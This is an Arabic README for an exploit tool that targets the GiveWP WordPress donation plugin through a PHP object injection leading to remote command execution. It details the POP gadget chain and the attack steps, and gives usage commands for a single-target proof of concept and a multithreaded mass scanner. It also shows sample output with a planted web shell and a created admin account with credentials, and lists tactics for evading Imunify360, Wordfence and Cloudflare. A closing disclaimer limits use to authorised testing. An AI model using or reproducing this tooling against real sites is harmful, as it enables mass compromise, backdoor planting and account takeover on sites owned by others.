
# GiveWP <= 4.16.7.1 حقن كائنات PHP غير مصادق عليه → تنفيذ أوامر عن بُعد
المؤلف: Rx019
CVSS: 10.0 (حرج)
النوع: حقن كائن PHP غير مصادق → تنفيذ أوامر عن بُعد
الإضافة: GiveWP (give) — إضافة التبرعات ومنصة جمع التبرعات
المتأثر: <= 4.16.7.1
تم التصحيح: 4.16.8
يقوم GiveWP بتخزين last_name الخاص بالمتبرع في جلسة PHP دون تعقيم. عند تقديم تبرع بدون حقل give_last، يقوم GiveWP بإلغاء تسلسل القيمة الخام من قاعدة البيانات مباشرة إلى الجلسة. وهذا يسمح لمهاجم غير مصادق بحقن كائن PHP مُسلسل في last_name عبر نقطة نهاية ملف المتبرع، ثم تشغيل إلغاء التسلسل عن طريق تقديم تبرع مُصمم — مما يؤدي إلى تنفيذ أوامر عشوائية عبر سلسلة POP مُعدة مسبقًا متوفرة في مكتبات البائعين المرفقة مع GiveWP.
TCPDF::__destruct()
└─ Session::getBag() ← يستدعي طريقة باسم $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command من $attributeName
فئات البائعين المستخدمة:
| الفئة | الملف |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. التسجيل كمتبرع → جلسة مصادقة (ملف تعريف wp-login)
2. POST /wp-admin/profile.php
last_name = سلسلة TCPDF مُسلسلة مع أمر system() مدمج
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (حقل give_last محذوف)
→ يقرأ GiveWP last_name من قاعدة البيانات، ويكتب الكائن الخام في الجلسة
4. GET /?p={form_id}
→ إغلاق جلسة PHP يشغّل TCPDF::__destruct()
→ تنفذ سلسلة POP أمر system(command)
5. تأكيد القشرة / إنشاء مدير
pip install requests rich
Python >= 3.9
| الملف | الوصف |
|---|---|
CVE-2026-82222.py | إثبات مفهوم لهدف واحد — مخرجات تفصيلية خطوة بخطوة |
CVE-2026-82222-MASS.py | ماسح جماعي — وضع دفعات متعدد الخيوط |
python CVE-2026-82222.py
موجه تفاعلي:
Target URL: https://victim.com
أو مباشرة:
python CVE-2026-82222.py https://victim.com
# دفعة من ملف
python CVE-2026-82222-MASS.py -f targets.txt
# عدد خيوط مخصص
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# أهداف متعددة مباشرة
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# قائمة تفاعلية
python CVE-2026-82222-MASS.py
تنسيق ملف الدفعة:
# الأسطر التي تبدأ بـ # يتم تجاهلها
https://target1.com
https://target2.com
target3.com # البروتوكول يُضاف تلقائيًا كـ https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
تُحفظ النتائج في ~/Documents/CVE/CVE-2026-82222/:
| الملف | المحتويات |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | نتيجة تشغيل واحد |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | نتائج الدفعة الكاملة |
success_results.txt | أسطر VULN/PARTIAL المُلحقة |
يحاول الاستغلال مسارين رئيسيين بالتسلسل:
wp_create_user() PHP كـ base64 في سلسلة TCPDFيُستخدم عندما يفشل المسار أ أو يتعذر التحقق من تسجيل دخول المدير.
last_name عبر نقطة نهاية الملف الشخصيgive_last)/?p={form_id})id | tee إلى ملف .txt في uploadsإذا تم تأكيد وجود قشرة ولكن لا يوجد مدير بعد، أنشئ واحدًا عبر القشرة باستخدام wp_create_user() من خلال معامل ?c= في القشرة.
| WAF | الاستراتيجية |
|---|---|
| Imunify360 | إزالة ترويسات انتحال X-Forwarded-For / X-Real-IP |
| Wordfence | تدوير User-Agent من مجموعة |
| Cloudflare | تعيين Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT في wp-config.php يحظر متجه محرر الإضافة/القالب — يكتشف السكربت ذلك مبكرًا وينتقل إلى المسار بRx{100-999}.php — عشوائي لكل تشغيلتم إصدار هذه الأداة لأغراض الاختبارات الأمنية والبحث المصرح بها فقط.
استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
الاستخدام غير المصرح به غير قانوني وغير أخلاقي.